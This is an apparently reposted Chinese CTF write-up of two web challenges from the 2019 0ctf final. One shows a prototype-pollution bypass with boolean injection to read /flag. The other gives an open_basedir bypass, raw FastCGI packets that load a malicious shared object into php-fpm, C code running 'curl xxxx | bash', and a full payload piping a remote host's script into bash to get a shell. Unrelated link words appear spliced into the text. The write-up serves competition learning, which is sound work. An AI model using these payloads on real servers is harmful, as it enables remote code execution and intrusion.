实战：2019 0ctf final Web Writeup（一）

转载

systemino 于 2019-07-04 19:19:48 发布 803 收藏

前言

鸽了好久的题解，因为自己事务缠身，一直没时间写一下最近比赛的题解，趁近日有空，来填坑~

第一次参加0ctf新星赛就拿了冠军，还是非常开心的。比赛过程中，web共4道题，我有幸做出3道，java实在不太擅长，哭了（另一道是ocaml的题目，涉及小trick和逻辑问题，准备放在后面和java一起编写（希望不要咕咕咕了）。这里写出另外两道题目的题解如下：

114514_calcalcalc

本题是2019 RCTF calcalcalc的改版，这次限制了之前的时间延迟注入的问题，同时需要Bypass validator：

我们可以使用__proto__来进行Bypass：

至于时间注入的问题，我们可以使用bool注入来解决这个问题：

```
{"__proto__": {}, "isVip": true, "expression": "1//1 and ord(open('/flag').read()[1]) >-1 and 1\n"}
```

php下：

nodejs下：

python下：

当ord(open('/flag').read()[1]) >-1成立时，python返回1，与另外两个保持一致。当ord(open('/flag').read()[1]) >-1不成立时，返回That's classified information. – Asahina Mikuru。故此可以进行bool注入：PHP大马

wallbreaker_not_very_hard

本题是2019 0ctf online和2019 *CTF的难度提升题，拿到题目较为明显的2个条件：

首先是disable_function，过滤了如下函数：

```
Wall B: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,putenv,proc_open,passthru,symlink,link,syslog,imap_open,dl,system,mb_send_mail,mail,error_log
```

然后是open_basedir限制了如下目录：

```
Wall C: /var/www/html:/tmp
```

题目提示我们：

```
Here's a backdoor, to help you break Wall A.
But you should find the key of the backdoor.
```

于是进行目录爆破，得到如下文件泄露：

```
http://192.168.1.106:10001/.index.php.swp
```

打开后发现后门:

这里很自然想到*CTF的解法：奇热影视

```
https://github.com/sixstars/starctf2019/tree/master/web-echohub
```

那么既然需要使用stream_socket_client和stream_socket_sendto连接php-fpm服务，那么我们需要知道unix:///run/php/php7.3-fpm.sock文件名，那么肯定需要Bypass open_basedir。

这里容易想到之前的相关poc，参考链接如下：

```
https://skysec.top/2019/04/12/%E4%BB%8EPHP%E5%BA%95%E5%B1%82%E7%9C%8Bopen-basedir-bypass/
```

尝试构造：

```
chdir('/tmp');
mkdir('sky');
chdir('sky');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(ini_get('open_basedir'));
var_dump(glob('*'));
```

发现可以成功bypass open_basedir：

通过列目录，可找到文件名如下：

但尝试使用/var/run/php/U_wi11_nev3r_kn0w.sock，并使用*ctf exp时，发现依然会被disable function限制，那么显然我们还得继续bypass disable function。

那么自然容易想到寻找引入拓展的地方，引入一个hack.so文件，hook函数，达到RCE的目的，这一点和之前2019 0ctf online的时候非常相似，这是当时已经给了现成的拓展和可用函数。

这里可以参考ph牛的文章：

```
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
```

在文章中，ph牛剖析的非常透彻，可以帮助我们理解PHP-FPM未授权访问漏洞，既然知道了我们需要构造fastcgi协议和fpm进行通信。

那么势必需要找到fastcgi中是否有更改disable_functions的选项，或者引入extension的选项。同时利用auto_prepend_file和auto_append_file让php执行任意代码。并且文中提及，PHP-FPM的两个环境变量，PHP_VALUE和PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的，PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项，PHP_ADMIN_VALUE可以设置所有选项。但disable_functions除外，这个选项是PHP加载的时候就确定了，在范围内的函数直接不会被加载到PHP上下文中。

所以思路更加明确了，我们应该是要找到PHP_ADMIN_VALUE的某个选项，可以帮助我们引入extension。

搜索易得,我们可以利用如下方式，引入指定位置的so文件：

```
PHP_ADMIN_VALUE['extension'] = /tmp/sky.so
```

这里我们改写ph牛提供的脚本：

```
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
```

可以构造出如下exp：

```
%01%01%F8%F1%00%08%00%00%00%01%00%00%00%00%00%00%01%04%F8%F1%01%DC%00%00%0E%02CONTENT_LENGTH19%0C%10CONTENT_
TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ES
ERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRI
PT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST
%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%17PHP_ADMIN_VALUEextension%20%3D%20/tm
p/sky.so%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%F8%F1%0
0%00%00%00%01%05%F8%F1%00%13%00%00%3C%3Fphp%20phpinfo%28%29%3B%20%3F%3E%01%05%F8%F1%00%00%00%00
```

但在使用之前，我们需要首先在/tmp目录下上传一个恶意so文件，我们利用如下github项目进行构造：

```
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void)
{
    system("curl xxxx | bash");
}
```

然后编译：

```
gcc -c -fPIC sky.c -o sky
gcc --share sky -o sky.so
```

接着将sky.so进行上传：

```
$upload = '/tmp/sky.so';
echo copy("http://vps_ip/sky.so", $upload);
```

最后我们整合上述exp，给出完整Payload：

```
$fp = stream_socket_client("/var/run/php/U_wi11_nev3r_kn0w.sock", $errno, $errstr,30);$out = urldecode("%01%01%1C%AE%00%08%00%00%00%01%00%00%00%00%00%00%01%04%1C%AE%01%DC%00%00%0E%02CONTENT_LENGTH51%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%17PHP_ADMIN_VALUEextension%20%3D%20/tmp/sky.so%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%1C%AE%00%00%00%00%01%05%1C%AE%003%00%00%3C%3Fphp%20hello_world%28%27curl%20106.14.114.127%20%7C%20bash%27%29%3B%20%3F%3E%01%05%1C%AE%00%00%00%00");stream_socket_sendto($fp,$out);while (!feof($fp)) {echo htmlspecialchars(fgets($fp, 10)); }fclose($fp);//'
```

即可getshell。

后记

总的来说，这篇文章的两个题，都是之前比赛题目的升级版，还是比较有趣的。